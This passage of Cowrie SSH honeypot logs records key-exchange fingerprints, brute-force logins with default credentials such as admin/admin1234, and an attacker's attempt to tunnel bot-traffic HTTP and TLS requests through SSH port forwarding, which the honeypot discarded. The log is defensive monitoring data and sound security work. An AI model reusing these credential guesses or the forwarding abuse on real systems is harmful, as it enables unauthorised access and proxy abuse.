","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:59.469638Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:59.794812Z","src_ip":"91.92.40.36","session":"09d0cee95b45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:11:59.997858Z","src_ip":"91.92.40.36","session":"09d0cee95b45","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:01.647990Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123412345","message":"login attempt [ubuntu/123412345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:03.282616Z","src_ip":"91.92.40.36","session":"09d0cee95b45","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:04.418504Z","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:04.487912Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:76.0) Gecko/20100101 Firefox/76.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1184\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dn51NzVOcm1GWSNKJjg3Nw%3D%3D2HkBdTXlcVt5it1lqc1JZw1wPsvyhUxRO%2Bi4GUCch542p0EaO0uE5y1pYc66e484lJ43DQSwvpWHPD%2Ba3ZehEvZqNeV%2FQx0s%2FbP%2F8m1vjXdAb9wsXNJ%2F04X2COQbauOTG30lBBa97A75mQ4ItpvkrzRm5aNDbpuf136xxAuRZ3XpXgBSGGl2p3AYjmmv87mdIchAeZOk0Un%2F4zg3i3wAUTf%2BoaYHvMQWLmcTW6hJ5bXDPooI1kub60U3AszZ10mQP7jmVQI2HXIL4xCUQJKz0GRDRyu%2FSNH0vpLMeUNCa1h%2FBIk5YHww0cL19GVAuz85Jqns6j8BhQOhFODCmHFrvEbB%2BqJC9GwS3g3jV4EQ5vhQCXgqw61fOBM%2BNkFFwwdEMdcwwSgjuks0K7Hv2A7slhcmB%2FZ6wjVYgYsiKCL0LpZNBHS%2Frt7G%2B%2BUusIZBulQ1OufX3DSWKCUsuWtDDAck4KfeJwHdeOeL%2BjbcSwFB6pde85YofsX4hd2itunHmk%2FqEc3UH92T9wSyyNOCjNHWVD1bgiMQnqcf8oGAzsT9bnuckqbaiHzTdLauaZMwblz5QQq88pgG4QXAEA9%2FsMKbDdkHMD7Zi57i2GFbQ8rAVp4%2FzNtHSvD18%2F5nX9ox9OY49QWA8CZfBdaDo1lGx9NfOO7sTlsi3DJ75fjTKDzkUBNNiAqn1Omni0GttciX0bsZhYJ0sN6DM6qDfLbcZgs%2BjYAFv1vY7AT2CN0fI6b3FNuVSV3vidUMuPc3KJGKkiPx3j8lEpzNeF5MO60LA0RuZVeK5IdRxWa5u5mhA%2BvERWZw%2B74FK65rDquvazbT1ODSCxJpbWEEztGmJegASzI3bkRQQ2WKtgFSQcY11nNTwen4sEdggga8r%2BK1DFyHPjyjsh2slk%2BKEuKY9KWYFRqVcV9LxVyA6B5n9Kf99ZH0aUbN98aZGfITOqkpLKn0fuREdfxzDKbSH57Rsm6w1Rh8T%2B30ViaC1%2BJbNsC%2FvIskJczGrob8rtnId76PvWeKOExYNY%2Bvu9%2Fczop4gCG0O5Qbq%2FGDrawA8chQPtEKJzMQ%2B6SnnqHM4fQD0pmD4rDnlh0r'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:76.0) Gecko/20100101 Firefox/76.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1184\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dn51NzVOcm1GWSNKJjg3Nw%3D%3D2HkBdTXlcVt5it1lqc1JZw1wPsvyhUxRO%2Bi4GUCch542p0EaO0uE5y1pYc66e484lJ43DQSwvpWHPD%2Ba3ZehEvZqNeV%2FQx0s%2FbP%2F8m1vjXdAb9wsXNJ%2F04X2COQbauOTG30lBBa97A75mQ4ItpvkrzRm5aNDbpuf136xxAuRZ3XpXgBSGGl2p3AYjmmv87mdIchAeZOk0Un%2F4zg3i3wAUTf%2BoaYHvMQWLmcTW6hJ5bXDPooI1kub60U3AszZ10mQP7jmVQI2HXIL4xCUQJKz0GRDRyu%2FSNH0vpLMeUNCa1h%2FBIk5YHww0cL19GVAuz85Jqns6j8BhQOhFODCmHFrvEbB%2BqJC9GwS3g3jV4EQ5vhQCXgqw61fOBM%2BNkFFwwdEMdcwwSgjuks0K7Hv2A7slhcmB%2FZ6wjVYgYsiKCL0LpZNBHS%2Frt7G%2B%2BUusIZBulQ1OufX3DSWKCUsuWtDDAck4KfeJwHdeOeL%2BjbcSwFB6pde85YofsX4hd2itunHmk%2FqEc3UH92T9wSyyNOCjNHWVD1bgiMQnqcf8oGAzsT9bnuckqbaiHzTdLauaZMwblz5QQq88pgG4QXAEA9%2FsMKbDdkHMD7Zi57i2GFbQ8rAVp4%2FzNtHSvD18%2F5nX9ox9OY49QWA8CZfBdaDo1lGx9NfOO7sTlsi3DJ75fjTKDzkUBNNiAqn1Omni0GttciX0bsZhYJ0sN6DM6qDfLbcZgs%2BjYAFv1vY7AT2CN0fI6b3FNuVSV3vidUMuPc3KJGKkiPx3j8lEpzNeF5MO60LA0RuZVeK5IdRxWa5u5mhA%2BvERWZw%2B74FK65rDquvazbT1ODSCxJpbWEEztGmJegASzI3bkRQQ2WKtgFSQcY11nNTwen4sEdggga8r%2BK1DFyHPjyjsh2slk%2BKEuKY9KWYFRqVcV9LxVyA6B5n9Kf99ZH0aUbN98aZGfITOqkpLKn0fuREdfxzDKbSH57Rsm6w1Rh8T%2B30ViaC1%2BJbNsC%2FvIskJczGrob8rtnId76PvWeKOExYNY%2Bvu9%2Fczop4gCG0O5Qbq%2FGDrawA8chQPtEKJzMQ%2B6SnnqHM4fQD0pmD4rDnlh0r'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:04.492853Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:04.522879Z","src_ip":"91.92.40.36","session":"09d0cee95b45","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:04.782578Z","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:04.855373Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf6\\xf2B\\xc1\\xcf\\xa6\\xb6\\x9b\\x85\\x14\\xfb\\xb5\\xbc+\\x12\\x93c\\x93>s\\x07\\xd3@v,M\\xdcMv\\xfaR6 ?\\\\\\xb0t\\x82\\xaeG\\x8a\\x80\\xc8\\x84\\xfe\\x9bI\\xa2 \\xdd4!\\x08\\xeb\\xb3 \\xd4\\x98\\x8f?\\x072\\xbcK\\xcf\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 1\\x80\\x8bNlW\\xee9\\x17\\xd3\\xcf\\xa4j\\xb1P;\\xef!T3#S\\xb0,\\x83_\\xef\\xc9?\\xcc\\xc8\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf6\\xf2B\\xc1\\xcf\\xa6\\xb6\\x9b\\x85\\x14\\xfb\\xb5\\xbc+\\x12\\x93c\\x93>s\\x07\\xd3@v,M\\xdcMv\\xfaR6 ?\\\\\\xb0t\\x82\\xaeG\\x8a\\x80\\xc8\\x84\\xfe\\x9bI\\xa2 \\xdd4!\\x08\\xeb\\xb3 \\xd4\\x98\\x8f?\\x072\\xbcK\\xcf\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 1\\x80\\x8bNlW\\xee9\\x17\\xd3\\xcf\\xa4j\\xb1P;\\xef!T3#S\\xb0,\\x83_\\xef\\xc9?\\xcc\\xc8\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:04.858347Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:04.949046Z","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:05.008420Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x01\\x89\\x81>\\x89\\xe8B\\x7f\\xdeD\\xb3nZ\\xf6\\xba\\x0f^%\\xb6\\xc7,\\xca\\x8f\\xab\\xdd\\xe5>\\xc5\\x1f%\\xd3\\xa5 \\xe6@\\'q)\\x84\\xe7\\x08\\x8dI#\\xa3\\xe66\\xb6\\xf4r\\xff\\x99\\xad\\x91]\\x84H\\xea\\x02\\x8c.D\\xe6\\xe8\\xae\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6t[\\xc5\\xdc<o\\xb0\\xd2\\xc9\\xf2\\xb65\\xcb\\x0f\\xb8\\xaf\\x9b!\\xe3\\xbf)_W\\x00\\x02\\x0f\\xf8\\xd7\\xc7\\xe9R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x01\\x89\\x81>\\x89\\xe8B\\x7f\\xdeD\\xb3nZ\\xf6\\xba\\x0f^%\\xb6\\xc7,\\xca\\x8f\\xab\\xdd\\xe5>\\xc5\\x1f%\\xd3\\xa5 \\xe6@\\'q)\\x84\\xe7\\x08\\x8dI#\\xa3\\xe66\\xb6\\xf4r\\xff\\x99\\xad\\x91]\\x84H\\xea\\x02\\x8c.D\\xe6\\xe8\\xae\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6t[\\xc5\\xdc<o\\xb0\\xd2\\xc9\\xf2\\xb65\\xcb\\x0f\\xb8\\xaf\\x9b!\\xe3\\xbf)_W\\x00\\x02\\x0f\\xf8\\xd7\\xc7\\xe9R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:05.011886Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nathan","password":"nathan","message":"login attempt [nathan/nathan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:06.380558Z","src_ip":"91.92.40.36","session":"424747242a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:07.082833Z","src_ip":"23.175.50.47","session":"20befb26ec4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:08.739251Z","src_ip":"91.92.40.36","session":"424747242a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56244,"dst_ip":"10.17.0.5","dst_port":22,"session":"85dfafb36e29","protocol":"ssh","message":"New connection: 123.27.168.40:56244 (10.17.0.5:22) [session: 85dfafb36e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:08.979246Z"}
